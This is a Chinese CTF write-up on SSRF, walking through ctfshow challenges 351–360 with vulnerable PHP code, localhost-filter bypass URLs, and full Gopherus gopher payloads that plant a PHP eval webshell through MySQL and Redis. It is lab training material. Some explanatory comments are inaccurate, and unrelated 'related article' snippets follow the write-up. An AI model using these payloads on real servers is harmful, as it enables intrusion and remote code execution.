ssrf復習(及ctfshow351-360)

1. SSRF 概述

服務器會根據用戶提交的URL發送一個HTTP請求。使用用戶指定的URL,Web應用可以獲取圖片或者文件資源等。典型的例子是百度識圖功能。

如果沒有對用戶提交URL和遠端服務器所返回的信息做合適的驗證或過濾,就有可能存在“請求偽造"的缺陷。“請求偽造”,顧名思義,攻擊者偽造正常的請求,以達到攻擊的目的。如果“請求偽造”發生在服務器端,那這個漏洞就叫做“服務器端請求偽造”,英文名字Server Side Request Forgery,簡稱SSRF。

SSRF是一種由攻擊者發起的偽造服務器發送的請求的一種攻擊。

1.1 SSRF 場景

SSRF漏洞主要出現在需要從服務器向其他資源發送請求的應用程序中,例如圖片處理、文件下載、URL 轉發等。其中被攻擊的目標系統通常位于服務器的內部網絡。

ssrf產生原理:

服務端存在網絡請求功能/函數,例如:file_get_contens()這一類類似于curl

這種函數傳入的參數用戶是可控的

沒有對用戶輸入做過濾導致的ssrf漏洞

ssrf利用:

用于探測內網服務以及端口

探針存活主機以及開放服務

探針是否存在redis服務(未授權訪問, 相當于是可以訪問到redis服務并且開發人員不嚴謹沒有設置密碼, ?因為默認是沒有密碼的, ?或者說開發者設置了密碼但是是弱口令), ?利用定時任務反彈shell

思維導圖

Web351

代碼解釋:

<?php ?

// 開啟PHP的錯誤報告,但這里設置為0,即關閉所有錯誤報告。這通常不推薦在生產環境中使用,因為它會隱藏所有錯誤和警告。 ?

error_reporting(0); ?

// 使用highlight_file函數高亮顯示當前PHP文件的源代碼。這通常用于教學或調試目的,但在生產環境中可能會暴露敏感信息。 ?

highlight_file(__FILE__); ?

// 從POST請求中獲取名為'url'的參數值,并將其存儲在變量$url中。 ?

$url=$_POST['url']; ?

// 初始化一個新的cURL會話,并將之前獲取的URL作為參數傳遞給curl_init函數。 ?

$ch=curl_init($url); ?

// 設置cURL選項,關閉cURL請求頭信息的輸出。這意味著cURL不會返回HTTP頭部信息,只返回主體內容。 ?

curl_setopt($ch, CURLOPT_HEADER, 0); ?

// 設置cURL選項,將CURLOPT_RETURNTRANSFER設置為1,這意味著cURL執行的結果(即請求的響應)將被作為字符串返回,而不是直接輸出。 ?

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); ?

// 執行cURL會話,并將結果存儲在變量$result中。 ?

$result=curl_exec($ch); ?

// 關閉cURL會話并釋放所有資源。 ?

curl_close($ch); ?

// 輸出cURL請求的結果(即請求的響應內容)。 ?

echo ($result); ?

?>

函數解釋:

1.curl_init() ??初始化cURL,返回資源給$ch

2.curl_setopt() 設置一個cURL傳輸選項

bool curl_setopt ( resource $ch , int $option , mixed $value )

參數一:curl資源 參數二:設置的請求選項 參數三:請求選項的值

CURLOPT_HEADER ????????啟用時會將頭文件的信息作為數據流輸出。

URLOPT_RETURNTRANSFER 將curl_exec()獲取的信息以文件流的形式返回,而不是直接輸出。

3.curl_exec()執行cURL資源,并傳遞給瀏覽器

4.curl_close()關閉cURL資源

Payload

url=http://127.0.0.1/flag.php

Web352

代碼解釋:

<?php ?

// 關閉PHP的錯誤報告 ?

error_reporting(0); ?

??

// 高亮顯示當前PHP文件的源代碼,這通常不應在生產環境中使用 ?

highlight_file(__FILE__); ?

??

// 從POST請求中獲取名為'url'的參數值 ?

$url=$_POST['url']; ?

??

// 使用parse_url函數解析URL,并將結果存儲在$x數組中 ?

$x=parse_url($url); ?

??

// 檢查URL的協議是否為'http'或'https' ?

if($x['scheme']==='http'||$x['scheme']==='https'){ ?

????// 嘗試使用正則表達式檢查URL是否不包含'localhost'或'127.0.0'(注意:這里只檢查了'127.0.0'的前綴,沒有完整的IP地址檢查) ?

????// 但是,preg_match函數的調用方式不正確,因為它沒有指定完整的模式字符串和待匹配的字符串 ?

????// 正確的調用應該是preg_match('/localhost|127\.0\.0\./', $url) ?

????if(!preg_match('/localhost|127.0.0/')){ ?

????????// 如果URL通過了協議和本地地址的檢查,則初始化cURL會話 ?

????????$ch=curl_init($url); ?

??????????

????????// 設置cURL選項以關閉頭部信息的輸出并返回結果作為字符串 ?

????????curl_setopt($ch, CURLOPT_HEADER, 0); ?

????????curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); ?

??????????

????????// 執行cURL請求,并將結果存儲在$result中 ?

????????$result=curl_exec($ch); ?

??????????

????????// 關閉cURL會話 ?

????????curl_close($ch); ?

??????????

????????// 輸出cURL請求的結果 ?

????????echo ($result); ?

????} ?

????else{ ?

????????// 如果URL包含'localhost'或'127.0.0'(盡管由于正則表達式的問題,這個檢查可能不準確),則終止腳本執行 ?

????????die('hacker'); ?

????} ?

} ?

else{ ?

????// 如果URL的協議不是'http'或'https',則終止腳本執行 ?

????die('hacker'); ?

} ?

?>

正則繞過127.0.0.1

編碼繞過:

payload:

url=http://0x7f.0.0.1/flag.php

url=http://0177.0.0.1/flag.php

url=http://0.0.0.0/flag.php ????? ?0.0.0.0代表本機

url=http://0x7F000001/flag.php ? 16進制地址

url=http://2130706433/flag.php 10進制地址

url=http://127.1 ??? 簡寫

Ip地址轉換器地址

IP地址進制轉換本計算器可以在線進行IP地址的二進制、十六進制、十進制的互換。icon-default.png?t=N7T8https://tool.520101.com/wangluo/jinzhizhuanhuan/

Web353

匹配不包含?localhost?或以?127.?開頭的 IP 地址(如?127.0.0.1)的 URL,您可以使用以下正則表達式

編碼繞過:

payload:

url=http://0x7f.0.0.1/flag.php

url=http://0177.0.0.1/flag.php

url=http://0.0.0.0/flag.php ????? ?0.0.0.0代表本機

url=http://0x7F000001/flag.php ? 16進制地址

url=http://2130706433/flag.php 10進制地址

url=http://127.1/flag.php ? 簡寫

Web354

代碼解釋:

<?php ?

// 關閉PHP的錯誤報告 ?

error_reporting(0); ?

??

// 高亮顯示當前PHP文件的源代碼,這通常不應在生產環境中使用 ?

highlight_file(__FILE__); ?

??

// 從POST請求中獲取名為'url'的參數值 ?

$url=$_POST['url']; ?

??

// 使用parse_url函數解析URL,并將結果存儲在$x數組中 ?

$x=parse_url($url); ?

??

// 檢查URL的協議是否為'http'或'https' ?

if($x['scheme']==='http'||$x['scheme']==='https'){ ?

????// 嘗試使用正則表達式檢查URL是否不包含'localhost'、'1'、'0'或字面量字符'。'(但這里的使用可能是錯誤的) ?

????// 注意:這個正則表達式實際上會匹配任何包含'1'、'0'或'。'(后者可能是一個打字錯誤,意圖可能是'.')的URL ?

????if(!preg_match('/localhost|1|0|。/i', $url)){ ?

????????// 如果URL通過了協議和正則表達式的檢查,則初始化cURL會話 ?

????????$ch=curl_init($url); ?

??????????

????????// 設置cURL選項以關閉頭部信息的輸出并返回結果作為字符串 ?

????????curl_setopt($ch, CURLOPT_HEADER, 0); ?

????????curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); ?

??????????

????????// 執行cURL請求,并將結果存儲在$result中 ?

????????$result=curl_exec($ch); ?

??????????

????????// 關閉cURL會話 ?

????????curl_close($ch); ?

??????????

????????// 輸出cURL請求的結果 ?

????????echo ($result); ?

????} ?

????else{ ?

????????// 如果URL包含'localhost'、'1'、'0'或'。'(考慮到'。'可能是打字錯誤),則終止腳本執行 ?

????????die('hacker'); ?

????} ?

} ?

else{ ?

????// 如果URL的協議不是'http'或'https',則終止腳本執行 ?

????die('hacker'); ?

} ?

?>

法一

url=http://sudo.cc/flag.php

sudo.cc相當于127.0.0.1?

方法二(未解決)

302跳轉

在自己的網站頁面添加

<?php

header("Location:http://127.0.0.1/flag.php");

重定向到127

方法三(未解決)

DNS-Rebinding

自己去ceye.io注冊綁定127.0.0.1然后記得前面加r

url=http://r.xxxzc8.ceye.io/flag.php

查看 profile

Web355

if((strlen($host)<=5))

要求host長度小于5位

url=http://127.1/flag.php

Web356

if((strlen($host)<=3)){

要求長度小于3位

url=http://0/flag.php

# 0在linux系統中會解析成127.0.0.1在windows中解析成0.0.0.0

Web358

php復制代碼

if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){

echo file_get_contents($url);

}

這段代碼使用preg_match()函數來驗證$url是否滿足特定的正則表達式模式。這個

'^http:\/\/ctf\..*show$'意味著:

URL必須以http://開頭。

緊接著必須是ctf.(不區分大小寫,因為使用了i修飾符)。

然后是任意數量的任意字符(.表示任意字符,*表示前面的字符可以出現0次或多次)。

最后必須以show結尾。

如果URL滿足這個模式,file_get_contents()函數將被調用,嘗試獲取該URL指向的內容,并將其輸出到屏幕上。

payload:

url=http://ctf.@127.0.0.1/flag.php#show

url=http://ctf.@127.0.0.1/flag.php?show

Web359

登錄抓包發現

u=Username&returl=https%3A%2F%2F404.chall.ctf.show%2F

存在ssrf

Gopher協議打MySQL

具體原理:CTF SSRF 漏洞從0到1 - FreeBuf網絡安全行業門戶

先下載Gopherus

git clone https://github.com/tarunkant/Gopherus.git

python gopherus.py

python2 .\gopherus.py --exploit mysql

username:root

寫入一句話木馬

select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01

對_再進行url編碼

%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2532%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

Web360

Payload生成:

python2 gopherus.py --exploit redis

<?php @eval($_POST['cmd']);?>

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

Url編碼

url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/46291.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/46291.shtml
英文地址,請注明出處:http://en.pswp.cn/web/46291.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

C#中錯誤與異常處理

1、錯誤和異常 如果程序運行期間發生錯誤&#xff0c;異常就會發生。異常會中止當前的程序流&#xff0c;如果不采取措施&#xff0c;程序將停止運行。 錯誤和異常是兩個不同的概念&#xff0c;但它們都與程序的穩定性和可維護性有關。 1.1、錯誤 錯誤通常是指編譯時的語法錯誤…

FPGA學習筆記(一) FPGA最小系統

文章目錄 前言一、FPGA最小系統總結 前言 今天學習下FPGA的最小系統一、FPGA最小系統 FPGA最小系統與STM32最小系統類似&#xff0c;由供電電源&#xff0c;時鐘電路晶振&#xff0c;復位和調試接口JTAG以及FLASH配置芯片組成&#xff0c;其與STM32最大的不同之處就是必須要有…

關于Hyperf高并發性能的一些配置詳解和硬件推薦

目錄 工作進程的管理 自定義配置示例&#xff08;EasySwoole&#xff09;&#xff1a; 自動生成&#xff1a; 結論&#xff1a; 集群部署與協程數的關系&#xff1a; 設置 max_coroutine 的考慮因素&#xff1a; 集群部署時的配置&#xff1a; 示例配置&#xff1a; C…

鏈表面試練習習題集(Java)

1. 思路&#xff1a; 因為楊輝三角是由二維數組構成&#xff0c;所以要先創建一個二維數組&#xff0c;如何用順序表表示二維數組&#xff0c;可以通過List<List<Interger>>來表示一個二維數組&#xff0c;可以這樣理解&#xff1a;先創建一個一維數組List&#x…

modbus slave 設備通過 網關thingsboard-gateway 將數據上傳到thingsboard云平臺

搭建thingsboard物聯網云平臺花了大量時間&#xff0c;從小白到最后搭建成功&#xff0c;折磨了好幾天&#xff0c;也感謝網友的幫助&#xff0c;提供了思路最終成功搞定&#xff0c;特此記錄。 一、thingsboard環境搭建&#xff08;Ubuntu20.04LTS&#xff09; 參考官方文檔&a…

java之 junit單元測試案例【經典版】

一 junit單元測試 1.1 單元測試作用 單元測試要滿足AIR原則&#xff0c;即 A&#xff1a; automatic 自動化&#xff1b; I: Independent 獨立性&#xff1b; R&#xff1a;Repeatable 可重復&#xff1b; 2.單元測試必須使用assert來驗證 1.2 案例1 常規單元測試 1.…

PSINS工具箱函數介紹——r2d

介紹工具箱里面r2d這個小函數的作用。 程序源碼 function deg r2d(rad) % Convert angle unit from radian to degree % % Prototype: deg r2d(rad) % Input: rad - angle in radian(s) % Output: deg - angle in degree(s) % % See also r2dm, r2dms, d2r, dm2r, dms2r% …

設計模式使用場景實現示例及優缺點(行為型模式——觀察者模式)

阿爾法的身體內部有一個智能芯片&#xff0c;這個芯片能夠根據環境和需求自動改變它的行為模式。當阿爾法需要完成不同任務時&#xff0c;它的內部狀態會發生變化&#xff0c;進而改變它的行為&#xff0c;就像是它變成了另一個機器人一樣。 一天&#xff0c;智能城的市長接到一…

多種方式實現 元素高度絲滑的從0-1顯示出來

選擇合適的方式&#xff0c;給用戶更好的體驗&#xff0c;多種方式實現 元素高度絲滑的從0-1顯示出來。 能用 CSS 實現的動畫&#xff0c;就不要采用 JS 去實現。 1、瀏覽器可以對CSS動畫進行優化&#xff0c;其優化原理類似于requestAnimationFrame&#xff0c;會把每一幀的…

java基礎學習:序列化之 - Fast serialization

在Java中&#xff0c;序列化是將對象的狀態轉換為字節流的過程&#xff0c;以便保存到文件、數據庫或通過網絡傳輸。Java標準庫提供了java.io.Serializable接口和相應的機制來進行序列化和反序列化。然而&#xff0c;標準的Java序列化機制性能較低&#xff0c;并且生成的字節流…

appium2.0 執行腳本遇到的問題

遇到的問題&#xff1a; appium 上的日志信息&#xff1a; 配置信息 方法一 之前用1.0的時候 地址默認加的 /wd/hub 在appium2.0上&#xff0c; 服務器默認路徑是 / 如果要用/wd/hub 需要通過啟動服務時設置基本路徑 appium --base-path/wd/hub 這樣就能正常執行了 方法二…

關于Kafka的17個問題

1.Kafka 的設計時什么樣的呢&#xff1f; Kafka 將消息以 topic 為單位進行歸納 將向 Kafka topic 發布消息的程序成為 producers. 將預訂 topics 并消費消息的程序成為 consumer. Kafka 以集群的方式運行&#xff0c;可以由一個或多個服務組成&#xff0c;每個服務叫做一個…

前端css常用筆記

文章目錄 一、樣式二、vue筆記2.1、組件之間的通信2.1.1 子組件調用父組件的方法2.1.2 父組件調用子組件的方法2.1.3 孫組件調用祖父組件方法的實現 2.2、使用若依時,node_nodules越來越大的問題2.3、echart筆記 一、樣式 1 文字與圖標對不齊的解決方法 /**給icon加上這個樣式即…

mysql的索引事務和存儲引擎

一、索引 1、索引 索引的概念 &#xff1a;索引是一個排序的列表&#xff0c;在列表當中存儲索引的值以及索引值對應數據所在的物理行。 索引的引用&#xff1a; 使用索引之后&#xff0c;就不需要掃描全表來定位某行的數據。 加快數據庫的查詢速度。 索引可以是表中的一…

ubuntu 網絡 通訊學習筆記2

1.ubuntu 網絡常用命令 在Ubuntu中&#xff0c;有許多網絡相關的常用命令。以下是一些主要命令及其用途&#xff1a; ifconfig&#xff1a;此命令用于顯示和配置網絡接口信息。你可以使用它來查看IP地址、子網掩碼、廣播地址等。 例如&#xff1a;ifconfig 注意&#xff1a…

在 K8s 上使用 KubeBlocks 提供的 MySQL operator 部署高可用 WordPress 站點

引言 WordPress WordPress 是全球最流行的內容管理系統&#xff08;CMS&#xff09;&#xff0c;自 2003 年發布以來&#xff0c;已成為網站建設的首選工具。其廣泛的插件和主題生態系統使用戶能夠輕松擴展功能和美化外觀。活躍的社區提供豐富的資源和支持&#xff0c;進一步…

[RK3588-Android12] 關于如何取消usb-typec的pd充電功能

問題描述 RK3588取消usb-typec的pd充電功能 解決方案&#xff1a; 在dts中fusb302節點下usb_con: connector子節點下添加如下熟悉&#xff1a; 打上如下2個補丁 diff --git a/drivers/usb/typec/tcpm/tcpm.c b/drivers/usb/typec/tcpm/tcpm.c index c8a4e57c9f9b..173f8cb7…

使用OpenCV尋找圖像中的輪廓

引言 OpenCV&#xff08;Open Source Computer Vision Library&#xff09;是一個開源的計算機視覺和機器學習軟件庫。它提供了大量的視覺處理功能&#xff0c;包括圖像和視頻捕獲、特征檢測與匹配、圖像變換、圖像分割、顏色空間轉換等。在圖像處理中&#xff0c;尋找圖像中的…

electron項目中實現視頻下載保存到本地

第一種方式&#xff1a;用戶自定義選擇下載地址位置 渲染進程 // 渲染進程// 引入 import { ipcRenderer } from "electron";// 列表行數據下載視頻操作&#xff0c;diffVideoUrl 是視頻請求地址 handleDownloadClick(row) {if (!row.diffVideoUrl) {this.$message…

【數字電路學習新助手】掌握電路仿真軟件,開啟數字電路知識的新篇章

在信息科技日新月異的今天&#xff0c;數字電路知識的重要性不言而喻。無論是通信工程、計算機科學與技術&#xff0c;還是電子信息技術等領域&#xff0c;數字電路都是基礎中的基礎。然而&#xff0c;對于初學者來說&#xff0c;數字電路的學習往往充滿了挑戰。幸運的是&#…